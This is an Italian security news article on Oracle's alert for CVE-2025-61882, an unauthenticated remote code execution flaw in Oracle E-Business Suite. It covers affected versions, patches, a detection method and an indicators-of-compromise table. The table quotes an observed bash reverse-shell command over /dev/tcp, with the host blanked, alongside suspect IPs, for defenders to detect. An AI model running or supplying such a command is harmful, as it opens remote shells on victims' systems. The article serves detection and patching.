Oracle ha pubblicato un avviso di sicurezza relativo a una vulnerabilità critica identificata come CVE-2025-61882 presente nella suite Oracle E-Business. La falla può essere sfruttata da remoto senza necessità di autenticazione, consentendo potenzialmente l’esecuzione di codice malevolo sui sistemi colpiti.
L’azienda raccomanda ai propri clienti di applicare immediatamente gli aggiornamenti indicati nell’avviso. Oracle sottolinea l’importanza di mantenere le versioni dei prodotti attivamente supportate e di installare senza ritardo tutte le patch di sicurezza critiche. In particolare, l’aggiornamento delle patch critiche rilasciate nell’ottobre 2023 rappresenta un prerequisito per l’implementazione delle nuove correzioni.
Per supportare il rilevamento e il contenimento immediato di eventuali attacchi, l’avviso include una matrice dei rischi con indicatori di compromissione, quali indirizzi IP sospetti, comandi e file associati agli exploit conosciuti.
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Prodotti interessati e patch disponibili
La vulnerabilità interessa specificamente le versioni di Oracle E-Business Suite dalla 12.2.3 alla 12.2.14. La documentazione ufficiale, disponibile tramite i link forniti da Oracle, contiene informazioni dettagliate sulle patch e sulle modalità di installazione.
Le patch fornite tramite il programma Security Alert sono disponibili solo per le versioni coperte dal Premier Support o dall’Extended Support secondo la Lifetime Support Policy di Oracle.
Le versioni non incluse in questi programmi non vengono testate per le vulnerabilità segnalate, anche se potrebbero comunque essere interessate. Per questa ragione, Oracle consiglia l’aggiornamento alle versioni supportate per garantire protezione e compatibilità con le patch di sicurezza.
Come verificare se si è affetti dal bug
La vulnerabilità CVE-2025-61882 riguarda Oracle E‑Business Suite ed è sfruttabile da remoto senza autenticazione, con potenziale esecuzione di codice remoto se sfruttata con successo.
Su GitHub è stato pubblicato un metodo pubblico di rilevamento che aiuta a identificare istanze potenzialmente non aggiornate. Il metodo segnala un’istanza come sospetta quando la pagina restituisce la stringa “E-Business Suite Home Page” e l’intestazione HTTP Last-Modified riporta una data precedente al 4 ottobre 2025 (timestamp Unix1759602752).
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Questo approccio è descritto come uno strumento di individuazione — non come un vettore di attacco — e dovrebbe essere usato esclusivamente per scopi di verifica e difesa. Per rimuovere il rischio, Oracle raccomanda l’applicazione delle patch indicate nell’avviso di sicurezza e l’aggiornamento alle versioni supportate.
Indicatori di compromissione (IOC)
Di seguito sono riportati gli indicatori di compromissione (indirizzi IP, comandi osservati e file) per supportare il rilevamento, la ricerca e il contenimento immediati.
Indicator
Type
Description
200[.]107[.]207[.]26
IP
Potential GET and POST activity
185[.]181[.]60[.]11
IP
Potential GET and POST activity
sh -c /bin/bash -i >& /dev/tcp// 0>&1
Command
Establish an outbound TCP connection over a specific port
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E’ un libero professionista, insegnante e perito di informatica Forense, Cyber Security ed Ethical Hacking e Network Management. Ha collaborato con importanti istituti di formazione a livello internazionale e ha esercitato teaching e tutorship in tecniche avanzate di Offensive Security per la NATO ottenendo importanti riconoscimenti dal Governo degli Stati Uniti. Il suo motto è “Studio. Sempre”.
Aree di competenza:Cybersecurity architecture, Threat intelligence, Digital forensics, Offensive security, Incident response & SOAR, Malware analysis, Compliance & frameworks
È uscito il sesto episodio di Betti-RHC, la serie a fumetti di Red Hot Cyber nata con l'obiettivo di trasformare la cybersecurity awareness in un'esperienza di formazione più semplice, coinvolgente e accessibile. Quello che è nato come un progetto editoriale innovativo è diventato negli anni un vero e proprio corso di cybersecurity awareness a fumetti, adottato da aziende e professionisti per sensibilizzare le persone sui rischi informatici attraverso storie, personaggi ed emozioni. In cinque anni di attività, la serie Betti-RHC ha raggiunto un risultato importante: circa 70.000 copie vendute, a testimonianza dell'interesse crescente delle organizzazioni verso nuovi strumenti per costruire una concreta cultura della sicurezza.
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Per accompagnare la crescita del progetto abbiamo realizzato il sito ufficiale di Betti-RHC, dove è possibile conoscere meglio la serie, gli episodi e il progetto di cybersecurity awareness sviluppato da Red Hot Cyber. L'obiettivo è continuare a portare la cultura della sicurezza fuori dai tradizionali percorsi formativi standard, utilizzando il linguaggio immediato del fumetto per parlare a dipendenti, professionisti e persone senza competenze tecniche. Per maggiori informazioni su Betti-RHC e sul sesto episodio “Open Mic” è possibile visitare il sito ufficiale:betti.redhotcyber.com.